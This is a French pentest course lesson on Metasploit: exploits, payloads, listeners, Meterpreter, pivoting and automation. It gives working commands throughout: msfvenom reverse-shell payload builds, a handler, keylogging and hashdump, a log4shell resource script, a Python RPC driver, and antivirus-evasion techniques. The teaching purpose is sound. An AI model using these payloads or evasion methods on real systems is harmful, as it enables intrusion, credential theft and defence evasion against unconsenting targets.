Metasploit — Notions
Metasploit, c'est le framework qui a industrialisé l'exploitation. 2200 exploits, 1500 auxiliaires, 700 payloads, tout prêt, tout maintenu, tout branchable. Cette semaine, on apprend à s'en servir sans devenir dépendant : quand il aide, quand il gêne.
Chaque run de Metasploit envoie du code d'exploitation à une cible. Dans un lab, aucun souci. En mission, votre RoE doit autoriser explicitement l'exploitation active. Un run mal cadré = un service qui tombe = un client en colère.
Ce que vous saurez faire après cette leçon
- Nommer les quatre pièces du framework : exploit, payload, encoder, listener.
- Choisir un payload adapté à la cible (Windows 32/64, Linux, sans stager, avec stager).
- Utiliser
msfvenompour fabriquer un payload autonome (EXE, WAR, ELF, apk, shellcode). - Automatiser une chaîne d'exploitation avec
resource scriptsetmsfrpc. - Basculer d'une session à un vrai pivot pour tester le réseau interne.
- Savoir quand ne pas utiliser Metasploit.
1. Metasploit en une image mentale
Trois couches. Retenez-les.
CIBLE
↑
┌───┴───┐
│Exploit │ (déclenche la faille : buffer overflow, RCE, injection...)
└───┬───┘
↓
┌───┴───┐
│Payload │ (le code qui s'exécute chez la cible : shellcode, meterpreter)
└───┬───┘
↓
réseau
↓
┌───┴───┐
│Listener│ (chez l'attaquant, attend la connexion inverse)
└───────┘
L'exploit ouvre la porte. Le payload entre. Le listener ramène la ligne.
2. Les grandes familles d'exploits
Dans msfconsole :
show exploits
Il y en a trop. On les groupe :
| Famille | Ce qu'elle contient |
|---|---|
exploit/windows/smb/ | EternalBlue, PsExec, SMB relay… |
exploit/windows/http/ | IIS, ASP.NET, Exchange, SharePoint. |
exploit/linux/http/ | Apache, Nginx, Struts, log4j (dans exploit/multi/http/). |
exploit/multi/http/ | Attaques web multi-OS (log4j, PHPUnit, Confluence…). |
exploit/unix/ftp/, unix/misc/ | vsftpd backdoor, distccd, etc. |
auxiliary/scanner/ | Pas des exploits — des scanners légers (SMB versions, ldap login, mysql). |
post/ | Après exploitation : escalade, dumping, pivoting. |
evasion/ | Génération de binaires AV-evading. |
Astuce : search cve:2021-44228 cherche par CVE (log4shell dans ce cas). Bien plus fiable que par nom d'application.
3. Les payloads — le choix qui compte
Deux dimensions.
3.1. Avec ou sans stager
- Sans stager (
_reverse_tcp) : un binaire complet est envoyé d'un coup. Simple, gros, plus détectable. - Avec stager (
_reverse_tcpen fait déjà stagé) : un petit chargeur est envoyé d'abord, il rappelle chez vous et télécharge le vrai payload. Plus discret, plus fragile (deux allers-retours).
Sur cibles modernes avec antivirus, les stagés passent souvent mieux.
3.2. Meterpreter ou shell simple
meterpreter: agent Metasploit complet. Chiffré (TLS), multi-commandes, pivoting, upload, capture d'écran, extraction de mémoire. Puissant mais lourdement signé par les antivirus.shell_reverse_tcp: juste un shell inverse (/bin/shoucmd.exe). Bête, silencieux, marche partout.shell_reverse_tls: shell inverse chiffré TLS. Compromis entre discrétion et fiabilité.
Nomenclature :
<OS>/<arch>/<payload>/<transport>
Exemples :
windows/x64/meterpreter/reverse_tcplinux/x86/shell_reverse_tcpjava/meterpreter/reverse_httpsphp/meterpreter/reverse_tcppython/meterpreter/reverse_tcp
3.3. Compatibilité — pièges
windows/x64/…ne fonctionne pas sur un Windows 32 bits. Vérifiezsysinfoaprès le premier accès.- Un payload
java/*est neutre à l'OS mais exige une JVM. Utile pour un Tomcat/JBoss. - Un payload
php/*s'exécute dans un contexte PHP (RFI/LFI). Pas de meterpreter complet.
Règle : set PAYLOAD explicitement. Ne laissez jamais Metasploit deviner.
4. msfvenom — fabriquer votre propre payload
Quand un exploit hors Metasploit a besoin d'un payload, on le fabrique avec msfvenom (successeur de msfpayload + msfencode).
Syntaxe :
msfvenom -p <payload> LHOST=<votre_ip> LPORT=<port> -f <format> -o <fichier>
Exemples fréquents :
# EXE Windows (staged reverse TCP)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f exe -o payload.exe
# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f elf -o payload.elf
# WAR (à déployer sur Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f war -o pwn.war
# APK Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-o pwn.apk
# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f psh-cmd -o cmd.ps1
# Shellcode brut (pour l'insérer dans un exploit maison)
msfvenom -p linux/x64/exec CMD="/bin/bash -i" -f raw -o shellcode.bin
Encoding pour tenter l'évasion AV (moyennement efficace en 2026) :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... \
-e x64/xor_dynamic -i 5 -f exe -o payload.exe
Les encodeurs de Metasploit sont connus de tous les AV. Pour la vraie évasion, il faut passer à Donut, Nim/Rust loaders, Sliver, Havoc, Mythic — mais ça sort du cadre d'un cours pentest classique.
5. Multi/handler — attraper un shell sans exploit
Quand un exploit est fait hors Metasploit (payload msfvenom déposé et exécuté par une autre voie), on veut quand même récupérer une session Metasploit. C'est le rôle de multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
set ExitOnSession false
run -j
run -j = job. Le handler tourne en arrière-plan, prêt à recevoir. Vous pouvez déclencher l'exécution du payload sur la cible (par email, par exploit web, par tâche planifiée), le shell arrive dans le handler.
6. Meterpreter — le couteau suisse en session
Une fois meterpreter > obtenu :
sysinfo # OS, arch, domaine, langue
getuid # qui suis-je ?
getprivs # quels privilèges Windows ?
ps # processus
migrate <PID> # se déplacer vers un autre processus (stabilité)
screenshot # capture d'écran
keyscan_start / keyscan_dump # keylogger
hashdump # NTLM des comptes locaux (nécessite SYSTEM)
upload / download # transferts
shell # vrai shell OS
Sur Linux :
sysinfo, getuid, ps, upload, download, shell, portfwd
Commande précieuse :
run post/multi/recon/local_exploit_suggester
Suggère des exploits locaux d'escalade de privilèges (module 9).
7. Pivoting — utiliser une machine compromise pour attaquer plus loin
C'est la vraie valeur ajoutée de Metasploit en mission complexe. Vous avez un shell sur 10.10.10.20. Depuis cette machine, vous voyez un autre réseau 192.168.100.0/24. Vous voulez scanner ce réseau depuis Kali, en passant par la machine compromise.
7.1. Autoroute Meterpreter
meterpreter > run autoroute -s 192.168.100.0/24
Metasploit ajoute une route interne : tout trafic Metasploit vers 192.168.100.0/24 passera par la session Meterpreter.
Scannez le réseau interne depuis msfconsole :
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,445,3389
run
Le trafic sort de la cible compromise, pas de votre Kali. Discret.
7.2. Socks proxy pour outils externes
Vous voulez utiliser nmap, curl, sqlmap depuis Kali mais que le trafic passe par la cible :
use auxiliary/server/socks_proxy
set VERSION 5
run -j
Configurez proxychains (/etc/proxychains.conf) :
socks5 127.0.0.1 1080
Et :
proxychains nmap -sT -Pn -p 22,80,445 192.168.100.10
proxychains curl http://192.168.100.10/
Vos requêtes émergent depuis la cible compromise. C'est le pivot standard.
8. Resource scripts — automatiser sans perdre la traçabilité
Un resource script (.rc) est un fichier texte contenant des commandes msfconsole exécutées en ordre.
log4shell.rc :
workspace log4shell-mission
use exploit/multi/http/log4shell_header_injection
set RHOSTS file:cibles.txt
set RPORT 8080
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j
Lancement :
msfconsole -q -r log4shell.rc
Bonne pratique :
- Un
.rcpar attaque ou par vague. - Versionner dans Git (privé).
- Copier-coller la commande dans un
commandes.mdavant de lancer, avec l'heure.
Sans ça, un rapport de fin de mission devient un exercice de mémoire archéologique.
9. msfrpc et pymetasploit3 — piloter en Python
Pour automatiser à grande échelle, Metasploit expose une API RPC :
sudo msfrpcd -P monpass -S -a 127.0.0.1
Depuis Python :
from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('monpass', server='127.0.0.1')
exploit = client.modules.use('exploit', 'multi/http/log4shell_header_injection')
exploit['RHOSTS'] = '10.10.10.20'
exploit['LHOST'] = '10.10.10.5'
payload = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp')
payload['LHOST'] = '10.10.10.5'
payload['LPORT'] = 4444
exploit.execute(payload=payload)
# Attendre puis lister les sessions ouvertes
import time; time.sleep(15)
print(client.sessions.list)
Utile pour orchestrer plusieurs sessions, corréler avec un outil externe, ou intégrer dans un dashboard interne.
10. Antivirus et EDR — le mur qui bloque
En 2026, Windows Defender à jour reconnaît immédiatement les payloads Meterpreter par défaut. Un payload.exe généré tel quel se fait détecter à la copie.
Techniques pour passer (dans le cadre d'un pentest, pas de vraie red team) :
- Loader compilé à la main en C/C#/Nim/Rust qui charge le shellcode. À jour, ça passe encore beaucoup.
- PowerShell offuscation :
Invoke-Obfuscation, chargement en mémoire (Reflection.Assembly::Load). Amber, base64, chiffrement AES. - Living off the land :
wmic,certutil,bitsadmin,mshtapour télécharger et exécuter — pas de binaire à laisser sur disque. - Sliver / Havoc / Mythic : C2 modernes remplaçant Meterpreter pour la partie évasion.
Pour le cours : dans le lab, on désactive Defender. Pour l'entraînement à l'évasion, module 8 dédié (advanced payload development).
11. Quand ne pas utiliser Metasploit
Trois cas :
- RoE qui interdit explicitement Metasploit. Certains clients l'excluent (peur du bruit, peur des faux positifs, préférence pour du code custom).
- L'exploit existe en 20 lignes de Python et vous n'avez pas besoin d'un stager complet. Ne chargez pas Metasploit pour un
nc+ un mot de passe hardcodé. - La cible est un EDR moderne bien réglé. Meterpreter va faire hurler. Passez à des outils plus discrets.
Un pentester expérimenté utilise Metasploit à bon escient, pas systématiquement.
12. Ce qu'il faut retenir
- Exploit + payload + listener = les trois pièces. Toujours dans cet ordre.
msfvenomfabrique un payload autonome pour usage hors Metasploit.- Meterpreter est puissant mais bruyant. shell_reverse_tcp est bête mais silencieux.
multi/handlerattrape un shell sans exploit — utile en tandem avec msfvenom.autoroute+socks_proxy= pivoting standard.- Automatisez avec
.rcet msfrpc, mais écrivez chaque commande avant de la lancer. - En 2026, Defender bloque Metasploit tel quel. Prévoyez un loader.
Prochaine leçon : trois attaques Metasploit bout à bout, incluant un pivot depuis une cible Linux vers un sous-réseau interne. C'est la partie la plus offensive du cours.